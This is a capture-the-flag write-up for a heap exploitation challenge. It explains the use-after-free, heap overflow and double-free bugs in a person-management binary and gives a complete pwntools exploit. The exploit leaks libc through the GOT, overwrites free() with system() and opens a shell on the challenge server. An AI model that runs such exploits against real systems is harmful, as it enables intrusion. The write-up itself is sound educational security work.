Points: 250 Category: Pwn Author: Dagger

Introduction

In this challenge, we are given an ELF 64 bits binary. The binary is a bit more complicated than the previous one.

$ ./pwn2 
Welcome to yet another human resources management framework!
============================================================
1. Create a new person
2. Edit a person
3. Print information about a person
4. Delete a person
5. This framework sucks, get me out of here!
Enter your choice: 1

Creating a new person...
Enter name length: 20
Enter person's name: Toto
Enter person's age: 33

Welcome to yet another human resources management framework!
============================================================
1. Create a new person
2. Edit a person
3. Print information about a person
4. Delete a person
5. This framework sucks, get me out of here!
Enter your choice: 3

Printing a person...
Enter person's index (0-based): 0
Name: Toto

Age: 33

Welcome to yet another human resources management framework!
============================================================
1. Create a new person
2. Edit a person
3. Print information about a person
4. Delete a person
5. This framework sucks, get me out of here!
Enter your choice: 4

Delete a person...
Enter person's index (0-based): 0
Done.

The binary allow us to manage a data structure on the heap which is named person. We can do the following action on the structure:

  • Create a person ;
  • Edit a person ;
  • Print a person ;
  • Delete a person ;

The structure should look something like this:

struct person {
    void (*printPerson)(void);
    char *name;
    int age;
};

There is some garbage after these fields but it is useless for our exploit.

Vulnerability

There are a lot of vulnerabilities in this exploit:

  • In the Edit person function, the program doesn’t check if the person targeted is free or not which can lead to a Use After Free ;
  • In the Edit person function, there is no boundary check on the new given name size which lead to a heap overflow ;
  • In the Print person function, the program doesn’t check if the person targeted is free or not which can lead to either a Use After Free or a Memory leak ;
  • In the Delete person function, the program doesn’t check if the person targeted is free or not which can lead to a Double free vulnerability ;
  • In the Delete person function, the program doesn’t zero the pointer after freed it which gave us a dangling pointer and can lead to either a Use After Free or a Memory leak ;

In my exploit, I choose to use the memory leak located in the Print person function and the heap overflow located in the Edit person function. Using these vulnerabilities we can have a read/write primitive.

We must take care of the following protections:

  • Partial RELRO is enabled, we can overwrite the entry’s of the Global Offset Table ;
  • Stack Smash Protection is enabled, the stack contain canary’s ;
  • NX is enabled, we can’t execute shellcode on the stack/heap ;
  • PIE is disabled, we don’t need to leak the memory ;
  • The source are FORTIFY, we don’t care about it. :)

We will first leak the LibC, the exploit plan is the following:

  • Allocate three chunks on the heap. The first and the third one gonna be fast bins whereas the second one gonna a small bin. The third chunk is only used to avoid consolidation of the small bin with the top chunk when it will be free.

Below is a picture of the heap layout after this step:

Heap_layout

We are going to use the first char *name with the heap overflow vulnerability to overwrite the data contained in the struct person[1].

Next steps to have a leak:

  • Free the second chunk (small bin) to populate free@got.plt with the address of free() in the LibC.
  • Edit the first chunk to overflow into the second freed chunk to overwrite the name address with the GOT address of free(). (We must take care of the function pointer located before the name address because the function is called when we trigger Print person)
  • Call Print person to leak the LibC address of free().

Then we will call system(“/bin/sh”) using the following steps:

  • Edit the first chunk, created before, to overwrite the address of name with the GOT address of free() ;
  • Edit the second chunk to overwrite the GOT address of free() with the address of system() ;
  • Edit again the first chunk to overwrite the address of the name with the one of “/bin/sh”, obtained by leaking the LibC ;
  • Delete again the second person to call free() and trigger system(“/bin/sh”) ;

Exploitation

I use the following exploit to get the flag:

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *
import os


context(arch="i386", os="linux", endian="little")


class Pwn:
    def __init__(self):
        self.e = ELF("./pwn2")
        self.libc = ELF("./libc.so.6")
        self.p = None

    def start_binary(self):
        self.p = remote("fun.ritsec.club", 1337)
        self.p.recvuntil("choice: ")

    def create(self, length, name, age):
        self.p.sendline("1")
        self.p.recvuntil("length: ")
        self.p.sendline(str(length))
        self.p.recvuntil("name: ")
        self.p.sendline(name)
        self.p.recvuntil("age: ")
        self.p.sendline(str(age))
        self.p.recvuntil("choice: ")

    def edit(self, index, length, name):
        self.p.sendline("2")
        self.p.recvuntil("(0-based): ")
        self.p.sendline(str(index))
        self.p.recvuntil("length: ")
        self.p.sendline(str(length))
        self.p.recvuntil("name: ")
        self.p.sendline(name)
        self.p.recvuntil("choice: ")

    def view(self, index):
        self.p.sendline("3")
        self.p.recvuntil("(0-based): ")
        self.p.sendline(str(index))
        return self.p.recvuntil("choice: ")

    def delete(self, index):
        self.p.sendline("4")
        self.p.recvuntil("(0-based): ")
        self.p.sendline(str(index))
        self.p.recvuntil("choice: ")

    def exit(self):
        self.p.sendline("5")

    def leak_stack(self):
        offset="A"*24
        payload=offset+p32(self.e.symbols["printPerson"])+p32(self.e.got["free"])

        self.create(20, "A"*10, 20)
        self.create(180, "B"*10, 20)                                 # Allocate small bin
        self.create(20, "C"*10, 20)                                  # Avoid top chunk consolidation

        self.delete(1)                                               # Populate free@got.plt
        self.edit(0, 4000, payload)                                  # Heap overflow
        data=self.view(1)[6:10]                                      # UaF to Leak
        return u32(data)

    def exec_system(self, libc_base):
        offset="A"*28
        payload=offset+p32(self.e.got["free"])

        self.edit(0, 4000, payload)                                  # Overwrite name address with free@got.plt
        self.edit(1, 10, p32(libc_base+self.libc.symbols["system"])) # Overwrite free@got.plt with system()
        payload=offset+p32(libc_base+next(self.libc.search("/bin/sh\x00")))
        self.edit(0, 4000, payload)                                  # Overwrite name address with free@got.plt

        self.p.sendline("4")
        self.p.recvuntil("(0-based): ")
        self.p.sendline("1")                                         # Trigger system("/bin/sh")

        self.p.interactive()
        self.p.close()

    def pwn_binary(self):
        self.start_binary()

        libc_base=self.leak_stack()-self.libc.symbols["free"]
        log.info("Leak libc base address: "+hex(libc_base))
        self.exec_system(libc_base)


def main():
    pwn = Pwn()
    pwn.pwn_binary()


if __name__ == "__main__":
    main()

Let’s try it:

Flag

Done.

PS: You can find the binary and the exploit here


Pwntera

Yet another french CTF team that sux !